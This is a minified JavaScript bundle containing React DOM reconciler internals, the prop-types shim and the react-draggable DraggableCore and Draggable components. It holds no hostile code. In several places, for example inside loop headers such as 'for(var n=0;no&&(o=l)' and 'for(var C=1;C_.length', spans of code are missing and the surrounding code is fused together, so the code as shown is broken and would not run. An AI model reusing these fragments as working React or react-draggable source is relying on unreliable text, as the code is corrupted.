Tu(),n=t.memoizedState!==null,e!==null&&e.memoizedState!==null!==n&&(t.flags|=8192),n&&(t.mode&1)!==0?(et&1073741824)!==0&&(De(t),t.subtreeFlags&6&&(t.flags|=8192)):De(t),null;case 24:return null;case 25:return null}throw Error(E(156,t.tag))}function M0(e,t){switch(fu(t),t.tag){case 1:return Qe(t.type)&&ki(),e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 3:return fn(),le(Ye),le(Fe),_u(),e=t.flags,(e&65536)!==0&&(e&128)===0?(t.flags=e&-65537|128,t):null;case 5:return wu(t),null;case 13:if(le(fe),e=t.memoizedState,e!==null&&e.dehydrated!==null){if(t.alternate===null)throw Error(E(340));un()}return e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 19:return le(fe),null;case 4:return fn(),null;case 10:return yu(t.type._context),null;case 22:case 23:return Tu(),null;case 24:return null;default:return null}}var Fo=!1,Le=!1,L0=typeof WeakSet=="function"?WeakSet:Set,L=null;function Kr(e,t){var r=e.ref;if(r!==null)if(typeof r=="function")try{r(null)}catch(n){ye(e,t,n)}else r.current=null}function ks(e,t,r){try{r()}catch(n){ye(e,t,n)}}var af=!1;function F0(e,t){if(us=Pi,e=om(),uu(e)){if("selectionStart"in e)var r={start:e.selectionStart,end:e.selectionEnd};else e:{r=(r=e.ownerDocument)&&r.defaultView||window;var n=r.getSelection&&r.getSelection();if(n&&n.rangeCount!==0){r=n.anchorNode;var o=n.anchorOffset,i=n.focusNode;n=n.focusOffset;try{r.nodeType,i.nodeType}catch{r=null;break e}var l=0,a=-1,s=-1,u=0,p=0,m=e,d=null;t:for(;;){for(var g;m!==r||o!==0&&m.nodeType!==3||(a=l+o),m!==i||n!==0&&m.nodeType!==3||(s=l+n),m.nodeType===3&&(l+=m.nodeValue.length),(g=m.firstChild)!==null;)d=m,m=g;for(;;){if(m===e)break t;if(d===r&&++u===o&&(a=l),d===i&&++p===n&&(s=l),(g=m.nextSibling)!==null)break;m=d,d=m.parentNode}m=g}r=a===-1||s===-1?null:{start:a,end:s}}else r=null}r=r||{start:0,end:0}}else r=null;for(cs={focusedElem:e,selectionRange:r},Pi=!1,L=t;L!==null;)if(t=L,e=t.child,(t.subtreeFlags&1028)!==0&&e!==null)e.return=t,L=e;else for(;L!==null;){t=L;try{var h=t.alternate;if((t.flags&1024)!==0)switch(t.tag){case 0:case 11:case 15:break;case 1:if(h!==null){var v=h.memoizedProps,x=h.memoizedState,f=t.stateNode,c=f.getSnapshotBeforeUpdate(t.elementType===t.type?v:wt(t.type,v),x);f.__reactInternalSnapshotBeforeUpdate=c}break;case 3:var y=t.stateNode.containerInfo;y.nodeType===1?y.textContent="":y.nodeType===9&&y.documentElement&&y.removeChild(y.documentElement);break;case 5:case 6:case 4:case 17:break;default:throw Error(E(163))}}catch(S){ye(t,t.return,S)}if(e=t.sibling,e!==null){e.return=t.return,L=e;break}L=t.return}return h=af,af=!1,h}function Un(e,t,r){var n=t.updateQueue;if(n=n!==null?n.lastEffect:null,n!==null){var o=n=n.next;do{if((o.tag&e)===e){var i=o.destroy;o.destroy=void 0,i!==void 0&&ks(t,r,i)}o=o.next}while(o!==n)}}function Nl(e,t){if(t=t.updateQueue,t=t!==null?t.lastEffect:null,t!==null){var r=t=t.next;do{if((r.tag&e)===e){var n=r.create;r.destroy=n()}r=r.next}while(r!==t)}}function bs(e){var t=e.ref;if(t!==null){var r=e.stateNode;switch(e.tag){case 5:e=r;break;default:e=r}typeof t=="function"?t(e):t.current=e}}function ty(e){var t=e.alternate;t!==null&&(e.alternate=null,ty(t)),e.child=null,e.deletions=null,e.sibling=null,e.tag===5&&(t=e.stateNode,t!==null&&(delete t[Ct],delete t[lo],delete t[ps],delete t[S0],delete t[P0])),e.stateNode=null,e.return=null,e.dependencies=null,e.memoizedProps=null,e.memoizedState=null,e.pendingProps=null,e.stateNode=null,e.updateQueue=null}function ry(e){return e.tag===5||e.tag===3||e.tag===4}function sf(e){e:for(;;){for(;e.sibling===null;){if(e.return===null||ry(e.return))return null;e=e.return}for(e.sibling.return=e.return,e=e.sibling;e.tag!==5&&e.tag!==6&&e.tag!==18;){if(e.flags&2||e.child===null||e.tag===4)continue e;e.child.return=e,e=e.child}if(!(e.flags&2))return e.stateNode}}function Es(e,t,r){var n=e.tag;if(n===5||n===6)e=e.stateNode,t?r.nodeType===8?r.parentNode.insertBefore(e,t):r.insertBefore(e,t):(r.nodeType===8?(t=r.parentNode,t.insertBefore(e,r)):(t=r,t.appendChild(e)),r=r._reactRootContainer,r!=null||t.onclick!==null||(t.onclick=$i));else if(n!==4&&(e=e.child,e!==null))for(Es(e,t,r),e=e.sibling;e!==null;)Es(e,t,r),e=e.sibling}function Cs(e,t,r){var n=e.tag;if(n===5||n===6)e=e.stateNode,t?r.insertBefore(e,t):r.appendChild(e);else if(n!==4&&(e=e.child,e!==null))for(Cs(e,t,r),e=e.sibling;e!==null;)Cs(e,t,r),e=e.sibling}var Ee=null,_t=!1;function Gt(e,t,r){for(r=r.child;r!==null;)ny(e,t,r),r=r.sibling}function ny(e,t,r){if(Nt&&typeof Nt.onCommitFiberUnmount=="function")try{Nt.onCommitFiberUnmount(Pl,r)}catch{}switch(r.tag){case 5:Le||Kr(r,t);case 6:var n=Ee,o=_t;Ee=null,Gt(e,t,r),Ee=n,_t=o,Ee!==null&&(_t?(e=Ee,r=r.stateNode,e.nodeType===8?e.parentNode.removeChild(r):e.removeChild(r)):Ee.removeChild(r.stateNode));break;case 18:Ee!==null&&(_t?(e=Ee,r=r.stateNode,e.nodeType===8?_a(e.parentNode,r):e.nodeType===1&&_a(e,r),to(e)):_a(Ee,r.stateNode));break;case 4:n=Ee,o=_t,Ee=r.stateNode.containerInfo,_t=!0,Gt(e,t,r),Ee=n,_t=o;break;case 0:case 11:case 14:case 15:if(!Le&&(n=r.updateQueue,n!==null&&(n=n.lastEffect,n!==null))){o=n=n.next;do{var i=o,l=i.destroy;i=i.tag,l!==void 0&&((i&2)!==0||(i&4)!==0)&&ks(r,t,l),o=o.next}while(o!==n)}Gt(e,t,r);break;case 1:if(!Le&&(Kr(r,t),n=r.stateNode,typeof n.componentWillUnmount=="function"))try{n.props=r.memoizedProps,n.state=r.memoizedState,n.componentWillUnmount()}catch(a){ye(r,t,a)}Gt(e,t,r);break;case 21:Gt(e,t,r);break;case 22:r.mode&1?(Le=(n=Le)||r.memoizedState!==null,Gt(e,t,r),Le=n):Gt(e,t,r);break;default:Gt(e,t,r)}}function uf(e){var t=e.updateQueue;if(t!==null){e.updateQueue=null;var r=e.stateNode;r===null&&(r=e.stateNode=new L0),t.forEach(function(n){var o=Q0.bind(null,e,n);r.has(n)||(r.add(n),n.then(o,o))})}}function vt(e,t){var r=t.deletions;if(r!==null)for(var n=0;no&&(o=l),n&=~i}if(n=o,n=ve()-n,n=(120>n?120:480>n?480:1080>n?1080:1920>n?1920:3e3>n?3e3:4320>n?4320:1960*W0(n/1960))-n,10e?16:e,nr===null)var n=!1;else{if(e=nr,nr=null,Li=0,(X&6)!==0)throw Error(E(331));var o=X;for(X|=4,L=e.current;L!==null;){var i=L,l=i.child;if((L.flags&16)!==0){var a=i.deletions;if(a!==null){for(var s=0;sve()-Cu?$r(e,0):Eu|=r),Xe(e,t)}function fy(e,t){t===0&&((e.mode&1)===0?t=1:(t=No,No<<=1,(No&130023424)===0&&(No=4194304)));var r=We();e=Ht(e,t),e!==null&&(ho(e,t,r),Xe(e,r))}function Y0(e){var t=e.memoizedState,r=0;t!==null&&(r=t.retryLane),fy(e,r)}function Q0(e,t){var r=0;switch(e.tag){case 13:var n=e.stateNode,o=e.memoizedState;o!==null&&(r=o.retryLane);break;case 19:n=e.stateNode;break;default:throw Error(E(314))}n!==null&&n.delete(t),fy(e,r)}var dy;dy=function(e,t,r){if(e!==null)if(e.memoizedProps!==t.pendingProps||Ye.current)Ge=!0;else{if((e.lanes&r)===0&&(t.flags&128)===0)return Ge=!1,j0(e,t,r);Ge=(e.flags&131072)!==0}else Ge=!1,ue&&(t.flags&1048576)!==0&&ym(t,Ci,t.index);switch(t.lanes=0,t.tag){case 2:var n=t.type;si(e,t),e=t.pendingProps;var o=sn(t,Fe.current);nn(t,r),o=Pu(null,t,n,e,o,r);var i=Ou();return t.flags|=1,typeof o=="object"&&o!==null&&typeof o.render=="function"&&o.$$typeof===void 0?(t.tag=1,t.memoizedState=null,t.updateQueue=null,Qe(n)?(i=!0,bi(t)):i=!1,t.memoizedState=o.state!==null&&o.state!==void 0?o.state:null,vu(t),o.updater=El,t.stateNode=o,o._reactInternals=t,ws(t,n,e,r),t=Ps(null,t,n,!0,i,r)):(t.tag=0,ue&&i&&cu(t),Ae(null,t,o,r),t=t.child),t;case 16:n=t.elementType;e:{switch(si(e,t),e=t.pendingProps,o=n._init,n=o(n._payload),t.type=n,o=t.tag=K0(n),e=wt(n,e),o){case 0:t=Ss(null,t,n,e,r);break e;case 1:t=nf(null,t,n,e,r);break e;case 11:t=tf(null,t,n,e,r);break e;case 14:t=rf(null,t,n,wt(n.type,e),r);break e}throw Error(E(306,n,""))}return t;case 0:return n=t.type,o=t.pendingProps,o=t.elementType===n?o:wt(n,o),Ss(e,t,n,o,r);case 1:return n=t.type,o=t.pendingProps,o=t.elementType===n?o:wt(n,o),nf(e,t,n,o,r);case 3:e:{if(Xm(t),e===null)throw Error(E(387));n=t.pendingProps,i=t.memoizedState,o=i.element,wm(e,t),zi(t,n,null,r);var l=t.memoizedState;if(n=l.element,i.isDehydrated)if(i={element:n,isDehydrated:!1,cache:l.cache,pendingSuspenseBoundaries:l.pendingSuspenseBoundaries,transitions:l.transitions},t.updateQueue.baseState=i,t.memoizedState=i,t.flags&256){o=dn(Error(E(423)),t),t=of(e,t,n,r,o);break e}else if(n!==o){o=dn(Error(E(424)),t),t=of(e,t,n,r,o);break e}else for(rt=ar(t.stateNode.containerInfo.firstChild),nt=t,ue=!0,St=null,r=Om(t,null,n,r),t.child=r;r;)r.flags=r.flags&-3|4096,r=r.sibling;else{if(un(),n===o){t=Bt(e,t,r);break e}Ae(e,t,n,r)}t=t.child}return t;case 5:return xm(t),e===null&&gs(t),n=t.type,o=t.pendingProps,i=e!==null?e.memoizedProps:null,l=o.children,fs(n,o)?l=null:i!==null&&fs(n,i)&&(t.flags|=32),Qm(e,t),Ae(e,t,l,r),t.child;case 6:return e===null&&gs(t),null;case 13:return Km(e,t,r);case 4:return hu(t,t.stateNode.containerInfo),n=t.pendingProps,e===null?t.child=cn(t,null,n,r):Ae(e,t,n,r),t.child;case 11:return n=t.type,o=t.pendingProps,o=t.elementType===n?o:wt(n,o),tf(e,t,n,o,r);case 7:return Ae(e,t,t.pendingProps,r),t.child;case 8:return Ae(e,t,t.pendingProps.children,r),t.child;case 12:return Ae(e,t,t.pendingProps.children,r),t.child;case 10:e:{if(n=t.type._context,o=t.pendingProps,i=t.memoizedProps,l=o.value,oe(Ni,n._currentValue),n._currentValue=l,i!==null)if(xt(i.value,l)){if(i.children===o.children&&!Ye.current){t=Bt(e,t,r);break e}}else for(i=t.child,i!==null&&(i.return=t);i!==null;){var a=i.dependencies;if(a!==null){l=i.child;for(var s=a.firstContext;s!==null;){if(s.context===n){if(i.tag===1){s=At(-1,r&-r),s.tag=2;var u=i.updateQueue;if(u!==null){u=u.shared;var p=u.pending;p===null?s.next=s:(s.next=p.next,p.next=s),u.pending=s}}i.lanes|=r,s=i.alternate,s!==null&&(s.lanes|=r),vs(i.return,r,t),a.lanes|=r;break}s=s.next}}else if(i.tag===10)l=i.type===t.type?null:i.child;else if(i.tag===18){if(l=i.return,l===null)throw Error(E(341));l.lanes|=r,a=l.alternate,a!==null&&(a.lanes|=r),vs(l,r,t),l=i.sibling}else l=i.child;if(l!==null)l.return=i;else for(l=i;l!==null;){if(l===t){l=null;break}if(i=l.sibling,i!==null){i.return=l.return,l=i;break}l=l.return}i=l}Ae(e,t,o.children,r),t=t.child}return t;case 9:return o=t.type,n=t.pendingProps.children,nn(t,r),o=yt(o),n=n(o),t.flags|=1,Ae(e,t,n,r),t.child;case 14:return n=t.type,o=wt(n,t.pendingProps),o=wt(n.type,o),rf(e,t,n,o,r);case 15:return Gm(e,t,t.type,t.pendingProps,r);case 17:return n=t.type,o=t.pendingProps,o=t.elementType===n?o:wt(n,o),si(e,t),t.tag=1,Qe(n)?(e=!0,bi(t)):e=!1,nn(t,r),Sm(t,n,o),ws(t,n,o,r),Ps(null,t,n,!0,e,r);case 19:return Zm(e,t,r);case 22:return Ym(e,t,r)}throw Error(E(156,t.tag))};function py(e,t){return Fp(e,t)}function X0(e,t,r,n){this.tag=e,this.key=r,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=t,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=n,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function pt(e,t,r,n){return new X0(e,t,r,n)}function Ru(e){return e=e.prototype,!(!e||!e.isReactComponent)}function K0(e){if(typeof e=="function")return Ru(e)?1:0;if(e!=null){if(e=e.$$typeof,e===Js)return 11;if(e===qs)return 14}return 2}function fr(e,t){var r=e.alternate;return r===null?(r=pt(e.tag,t,e.key,e.mode),r.elementType=e.elementType,r.type=e.type,r.stateNode=e.stateNode,r.alternate=e,e.alternate=r):(r.pendingProps=t,r.type=e.type,r.flags=0,r.subtreeFlags=0,r.deletions=null),r.flags=e.flags&14680064,r.childLanes=e.childLanes,r.lanes=e.lanes,r.child=e.child,r.memoizedProps=e.memoizedProps,r.memoizedState=e.memoizedState,r.updateQueue=e.updateQueue,t=e.dependencies,r.dependencies=t===null?null:{lanes:t.lanes,firstContext:t.firstContext},r.sibling=e.sibling,r.index=e.index,r.ref=e.ref,r}function fi(e,t,r,n,o,i){var l=2;if(n=e,typeof e=="function")Ru(e)&&(l=1);else if(typeof e=="string")l=5;else e:switch(e){case Wr:return kr(r.children,o,i,t);case Zs:l=8,o|=8;break;case Ha:return e=pt(12,r,t,o|2),e.elementType=Ha,e.lanes=i,e;case Ba:return e=pt(13,r,t,o),e.elementType=Ba,e.lanes=i,e;case Ua:return e=pt(19,r,t,o),e.elementType=Ua,e.lanes=i,e;case Pp:return zl(r,o,i,t);default:if(typeof e=="object"&&e!==null)switch(e.$$typeof){case _p:l=10;break e;case Sp:l=9;break e;case Js:l=11;break e;case qs:l=14;break e;case Zt:l=16,n=null;break e}throw Error(E(130,e==null?e:typeof e,""))}return t=pt(l,r,t,o),t.elementType=e,t.type=n,t.lanes=i,t}function kr(e,t,r,n){return e=pt(7,e,n,t),e.lanes=r,e}function zl(e,t,r,n){return e=pt(22,e,n,t),e.elementType=Pp,e.lanes=r,e.stateNode={isHidden:!1},e}function Ea(e,t,r){return e=pt(6,e,null,t),e.lanes=r,e}function Ca(e,t,r){return t=pt(4,e.children!==null?e.children:[],e.key,t),t.lanes=r,t.stateNode={containerInfo:e.containerInfo,pendingChildren:null,implementation:e.implementation},t}function Z0(e,t,r,n,o){this.tag=t,this.containerInfo=e,this.finishedWork=this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.pendingContext=this.context=null,this.callbackPriority=0,this.eventTimes=ua(0),this.expirationTimes=ua(-1),this.entangledLanes=this.finishedLanes=this.mutableReadLanes=this.expiredLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=ua(0),this.identifierPrefix=n,this.onRecoverableError=o,this.mutableSourceEagerHydrationData=null}function Du(e,t,r,n,o,i,l,a,s){return e=new Z0(e,t,r,a,s),t===1?(t=1,i===!0&&(t|=8)):t=0,i=pt(3,null,null,t),e.current=i,i.stateNode=e,i.memoizedState={element:n,isDehydrated:r,cache:null,transitions:null,pendingSuspenseBoundaries:null},vu(i),e}function J0(e,t,r){var n=3"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(t)}catch(r){console.error(r)}}t(),e.exports=at})(Sl);var vf=Sl.exports;Wa.createRoot=vf.createRoot,Wa.hydrateRoot=vf.hydrateRoot;var Ml={exports:{}},vy={},Lu={exports:{}},n1="SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED",o1=n1,i1=o1;function hy(){}function wy(){}wy.resetWarningCache=hy;var l1=function(){function e(n,o,i,l,a,s){if(s!==i1){var u=new Error("Calling PropTypes validators directly is not supported by the `prop-types` package. Use PropTypes.checkPropTypes() to call them. Read more at http://fb.me/use-check-prop-types");throw u.name="Invariant Violation",u}}e.isRequired=e;function t(){return e}var r={array:e,bigint:e,bool:e,func:e,number:e,object:e,string:e,symbol:e,any:e,arrayOf:t,element:e,elementType:e,instanceOf:t,node:e,objectOf:t,oneOf:t,oneOfType:t,shape:t,exact:t,checkPropTypes:wy,resetWarningCache:hy};return r.PropTypes=r,r};Lu.exports=l1();function _y(e){var t,r,n="";if(typeof e=="string"||typeof e=="number")n+=e;else if(typeof e=="object")if(Array.isArray(e))for(t=0;t0&&arguments[0]!==void 0?arguments[0]:"transform";if(typeof window>"u")return"";var n=(e=window.document)===null||e===void 0||(t=e.documentElement)===null||t===void 0?void 0:t.style;if(!n||r in n)return"";for(var o=0;o: Unmounted during event!");return t}var Ll={},Fl={};Object.defineProperty(Fl,"__esModule",{value:!0});Fl.default=A1;function A1(){}function Wi(e){return Wi=typeof Symbol=="function"&&typeof Symbol.iterator=="symbol"?function(t){return typeof t}:function(t){return t&&typeof Symbol=="function"&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},Wi(e)}Object.defineProperty(Ll,"__esModule",{value:!0});Ll.default=void 0;var Ta=V1($.exports),Je=Wu(Lu.exports),W1=Wu(Sl.exports),je=ge,Yt=Dt,za=Rt,En=Wu(Fl);function Wu(e){return e&&e.__esModule?e:{default:e}}function Ny(e){if(typeof WeakMap!="function")return null;var t=new WeakMap,r=new WeakMap;return(Ny=function(o){return o?r:t})(e)}function V1(e,t){if(!t&&e&&e.__esModule)return e;if(e===null||Wi(e)!=="object"&&typeof e!="function")return{default:e};var r=Ny(t);if(r&&r.has(e))return r.get(e);var n={},o=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var i in e)if(i!=="default"&&Object.prototype.hasOwnProperty.call(e,i)){var l=o?Object.getOwnPropertyDescriptor(e,i):null;l&&(l.get||l.set)?Object.defineProperty(n,i,l):n[i]=e[i]}return n.default=e,r&&r.set(e,n),n}function _f(e,t){return G1(e)||U1(e,t)||B1(e,t)||H1()}function H1(){throw new TypeError(`Invalid attempt to destructure non-iterable instance. +In order to be iterable, non-array objects must have a [Symbol.iterator]() method.`)}function B1(e,t){if(!!e){if(typeof e=="string")return Sf(e,t);var r=Object.prototype.toString.call(e).slice(8,-1);if(r==="Object"&&e.constructor&&(r=e.constructor.name),r==="Map"||r==="Set")return Array.from(e);if(r==="Arguments"||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r))return Sf(e,t)}}function Sf(e,t){(t==null||t>e.length)&&(t=e.length);for(var r=0,n=new Array(t);r"u"||!Reflect.construct||Reflect.construct.sham)return!1;if(typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch{return!1}}function Vi(e){return Vi=Object.setPrototypeOf?Object.getPrototypeOf:function(r){return r.__proto__||Object.getPrototypeOf(r)},Vi(e)}function ct(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}var ht={touch:{start:"touchstart",move:"touchmove",stop:"touchend"},mouse:{start:"mousedown",move:"mousemove",stop:"mouseup"}},Qt=ht.mouse,Al=function(e){X1(r,e);var t=K1(r);function r(){var n;Y1(this,r);for(var o=arguments.length,i=new Array(o),l=0;l not mounted on DragStart!");var u=s.ownerDocument;if(!(n.props.disabled||!(a.target instanceof u.defaultView.Node)||n.props.handle&&!(0,je.matchesSelectorAndParentsTo)(a.target,n.props.handle,s)||n.props.cancel&&(0,je.matchesSelectorAndParentsTo)(a.target,n.props.cancel,s))){a.type==="touchstart"&&a.preventDefault();var p=(0,je.getTouchIdentifier)(a);n.setState({touchIdentifier:p});var m=(0,Yt.getControlPosition)(a,p,Ie(n));if(m!=null){var d=m.x,g=m.y,h=(0,Yt.createCoreData)(Ie(n),d,g);(0,En.default)("DraggableCore: handleDragStart: %j",h),(0,En.default)("calling",n.props.onStart);var v=n.props.onStart(a,h);v===!1||n.mounted===!1||(n.props.enableUserSelectHack&&(0,je.addUserSelectStyles)(u),n.setState({dragging:!0,lastX:d,lastY:g}),(0,je.addEvent)(u,Qt.move,n.handleDrag),(0,je.addEvent)(u,Qt.stop,n.handleDragStop))}}}),ct(Ie(n),"handleDrag",function(a){var s=(0,Yt.getControlPosition)(a,n.state.touchIdentifier,Ie(n));if(s!=null){var u=s.x,p=s.y;if(Array.isArray(n.props.grid)){var m=u-n.state.lastX,d=p-n.state.lastY,g=(0,Yt.snapToGrid)(n.props.grid,m,d),h=_f(g,2);if(m=h[0],d=h[1],!m&&!d)return;u=n.state.lastX+m,p=n.state.lastY+d}var v=(0,Yt.createCoreData)(Ie(n),u,p);(0,En.default)("DraggableCore: handleDrag: %j",v);var x=n.props.onDrag(a,v);if(x===!1||n.mounted===!1){try{n.handleDragStop(new MouseEvent("mouseup"))}catch{var f=document.createEvent("MouseEvents");f.initMouseEvent("mouseup",!0,!0,window,0,0,0,0,0,!1,!1,!1,!1,0,null),n.handleDragStop(f)}return}n.setState({lastX:u,lastY:p})}}),ct(Ie(n),"handleDragStop",function(a){if(!!n.state.dragging){var s=(0,Yt.getControlPosition)(a,n.state.touchIdentifier,Ie(n));if(s!=null){var u=s.x,p=s.y;if(Array.isArray(n.props.grid)){var m=u-n.state.lastX||0,d=p-n.state.lastY||0,g=(0,Yt.snapToGrid)(n.props.grid,m,d),h=_f(g,2);m=h[0],d=h[1],u=n.state.lastX+m,p=n.state.lastY+d}var v=(0,Yt.createCoreData)(Ie(n),u,p),x=n.props.onStop(a,v);if(x===!1||n.mounted===!1)return!1;var f=n.findDOMNode();f&&n.props.enableUserSelectHack&&(0,je.removeUserSelectStyles)(f.ownerDocument),(0,En.default)("DraggableCore: handleDragStop: %j",v),n.setState({dragging:!1,lastX:NaN,lastY:NaN}),f&&((0,En.default)("DraggableCore: Removing handlers"),(0,je.removeEvent)(f.ownerDocument,Qt.move,n.handleDrag),(0,je.removeEvent)(f.ownerDocument,Qt.stop,n.handleDragStop))}}}),ct(Ie(n),"onMouseDown",function(a){return Qt=ht.mouse,n.handleDragStart(a)}),ct(Ie(n),"onMouseUp",function(a){return Qt=ht.mouse,n.handleDragStop(a)}),ct(Ie(n),"onTouchStart",function(a){return Qt=ht.touch,n.handleDragStart(a)}),ct(Ie(n),"onTouchEnd",function(a){return Qt=ht.touch,n.handleDragStop(a)}),n}return Q1(r,[{key:"componentDidMount",value:function(){this.mounted=!0;var o=this.findDOMNode();o&&(0,je.addEvent)(o,ht.touch.start,this.onTouchStart,{passive:!1})}},{key:"componentWillUnmount",value:function(){this.mounted=!1;var o=this.findDOMNode();if(o){var i=o.ownerDocument;(0,je.removeEvent)(i,ht.mouse.move,this.handleDrag),(0,je.removeEvent)(i,ht.touch.move,this.handleDrag),(0,je.removeEvent)(i,ht.mouse.stop,this.handleDragStop),(0,je.removeEvent)(i,ht.touch.stop,this.handleDragStop),(0,je.removeEvent)(o,ht.touch.start,this.onTouchStart,{passive:!1}),this.props.enableUserSelectHack&&(0,je.removeUserSelectStyles)(i)}}},{key:"findDOMNode",value:function(){var o,i,l;return(o=this.props)!==null&&o!==void 0&&o.nodeRef?(i=this.props)===null||i===void 0||(l=i.nodeRef)===null||l===void 0?void 0:l.current:W1.default.findDOMNode(this)}},{key:"render",value:function(){return Ta.cloneElement(Ta.Children.only(this.props.children),{onMouseDown:this.onMouseDown,onMouseUp:this.onMouseUp,onTouchEnd:this.onTouchEnd})}}]),r}(Ta.Component);Ll.default=Al;ct(Al,"displayName","DraggableCore");ct(Al,"propTypes",{allowAnyClick:Je.default.bool,disabled:Je.default.bool,enableUserSelectHack:Je.default.bool,offsetParent:function(t,r){if(t[r]&&t[r].nodeType!==1)throw new Error("Draggable's offsetParent must be a DOM Node.")},grid:Je.default.arrayOf(Je.default.number),handle:Je.default.string,cancel:Je.default.string,nodeRef:Je.default.object,onStart:Je.default.func,onDrag:Je.default.func,onStop:Je.default.func,onMouseDown:Je.default.func,scale:Je.default.number,className:za.dontSetMe,style:za.dontSetMe,transform:za.dontSetMe});ct(Al,"defaultProps",{allowAnyClick:!1,disabled:!1,enableUserSelectHack:!0,onStart:function(){},onDrag:function(){},onStop:function(){},onMouseDown:function(){},scale:1});(function(e){function t(_){return t=typeof Symbol=="function"&&typeof Symbol.iterator=="symbol"?function(C){return typeof C}:function(C){return C&&typeof Symbol=="function"&&C.constructor===Symbol&&C!==Symbol.prototype?"symbol":typeof C},t(_)}Object.defineProperty(e,"__esModule",{value:!0}),Object.defineProperty(e,"DraggableCore",{enumerable:!0,get:function(){return u.default}}),e.default=void 0;var r=h($.exports),n=d(Lu.exports),o=d(Sl.exports),i=d(s1),l=ge,a=Dt,s=Rt,u=d(Ll),p=d(Fl),m=["axis","bounds","children","defaultPosition","defaultClassName","defaultClassNameDragging","defaultClassNameDragged","position","positionOffset","scale"];function d(_){return _&&_.__esModule?_:{default:_}}function g(_){if(typeof WeakMap!="function")return null;var C=new WeakMap,z=new WeakMap;return(g=function(j){return j?z:C})(_)}function h(_,C){if(!C&&_&&_.__esModule)return _;if(_===null||t(_)!=="object"&&typeof _!="function")return{default:_};var z=g(C);if(z&&z.has(_))return z.get(_);var D={},j=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var A in _)if(A!=="default"&&Object.prototype.hasOwnProperty.call(_,A)){var U=j?Object.getOwnPropertyDescriptor(_,A):null;U&&(U.get||U.set)?Object.defineProperty(D,A,U):D[A]=_[A]}return D.default=_,z&&z.set(_,D),D}function v(){return v=Object.assign||function(_){for(var C=1;C=0)&&(!Object.prototype.propertyIsEnumerable.call(_,D)||(z[D]=_[D]))}return z}function f(_,C){if(_==null)return{};var z={},D=Object.keys(_),j,A;for(A=0;A=0)&&(z[j]=_[j]);return z}function c(_,C){var z=Object.keys(_);if(Object.getOwnPropertySymbols){var D=Object.getOwnPropertySymbols(_);C&&(D=D.filter(function(j){return Object.getOwnPropertyDescriptor(_,j).enumerable})),z.push.apply(z,D)}return z}function y(_){for(var C=1;C_.length)&&(C=_.length);for(var z=0,D=new Array(C);z"u"||!Reflect.construct||Reflect.construct.sham)return!1;if(typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch{return!1}}function F(_){return F=Object.setPrototypeOf?Object.getPrototypeOf:function(z){return z.__proto__||Object.getPrototypeOf(z)},F(_)}function M(_,C,z){return C in _?Object.defineProperty(_,C,{value:z,enumerable:!0,configurable:!0,writable:!0}):_[C]=z,_}var B=function(_){Y(z,_);var C=re(z);function z(D){var j;return R(this,z),j=C.call(this,D),M(ne(j),"onDragStart",function(A,U){(0,p.default)("Draggable: onDragStart: %j",U);var te=j.props.onStart(A,(0,a.createDraggableData)(ne(j),U));if(te===!1)return!1;j.setState({dragging:!0,dragged:!0})}),M(ne(j),"onDrag",function(A,U){if(!j.state.dragging)return!1;(0,p.default)("Draggable: onDrag: %j",U);var te=(0,a.createDraggableData)(ne(j),U),W={x:te.x,y:te.y};if(j.props.bounds){var Ze=W.x,ae=W.y;W.x+=j.state.slackX,W.y+=j.state.slackY;var se=(0,a.getBoundPosition)(ne(j),W.x,W.y),jt=S(se,2),wn=jt[0],Ir=jt[1];W.x=wn,W.y=Ir,W.slackX=j.state.slackX+(Ze-W.x),W.slackY=j.state.slackY+(ae-W.y),te.x=W.x,te.y=W.y,te.deltaX=W.x-j.state.x,te.deltaY=W.y-j.state.y}var xo=j.props.onDrag(A,te);if(xo===!1)return!1;j.setState(W)}),M(ne(j),"onDragStop",function(A,U){if(!j.state.dragging)return!1;var te=j.props.onStop(A,(0,a.createDraggableData)(ne(j),U));if(te===!1)return!1;(0,p.default)("Draggable: onDragStop: %j",U);var W={dragging:!1,slackX:0,slackY:0},Ze=Boolean(j.props.position);if(Ze){var ae=j.props.position,se=ae.x,jt=ae.y;W.x=se,W.y=jt}j.setState(W)}),j.state={dragging:!1,dragged:!1,x:D.position?D.position.x:D.defaultPosition.x,y:D.position?D.position.y:D.defaultPosition.y,prevPropsPosition:y({},D.position),slackX:0,slackY:0,isElementSVG:!1},D.position&&!(D.onDrag||D.onStop)&&console.warn("A `position` was applied to this , without drag handlers. This will make this component effectively undraggable. Please attach `onDrag` or `onStop` handlers so you can adjust the `position` of this element."),j}return G(z,[{key:"componentDidMount",value:function(){typeof window.SVGElement<"u"&&this.findDOMNode()instanceof window.SVGElement&&this.setState({isElementSVG:!0})}},{key:"componentWillUnmount",value:function(){this.setState({dragging:!1})}},{key:"findDOMNode",value:function(){var j,A,U;return(j=(A=this.props)===null||A===void 0||(U=A.nodeRef)===null||U===void 0?void 0:U.current)!==null&&j!==void 0?j:o.default.findDOMNode(this)}},{key:"render",value:function(){var j,A=this.props;A.axis,A.bounds;var U=A.children,te=A.defaultPosition,W=A.defaultClassName,Ze=A.defaultClassNameDragging,ae=A.defaultClassNameDragged,se=A.position,jt=A.positionOffset;A.scale;var 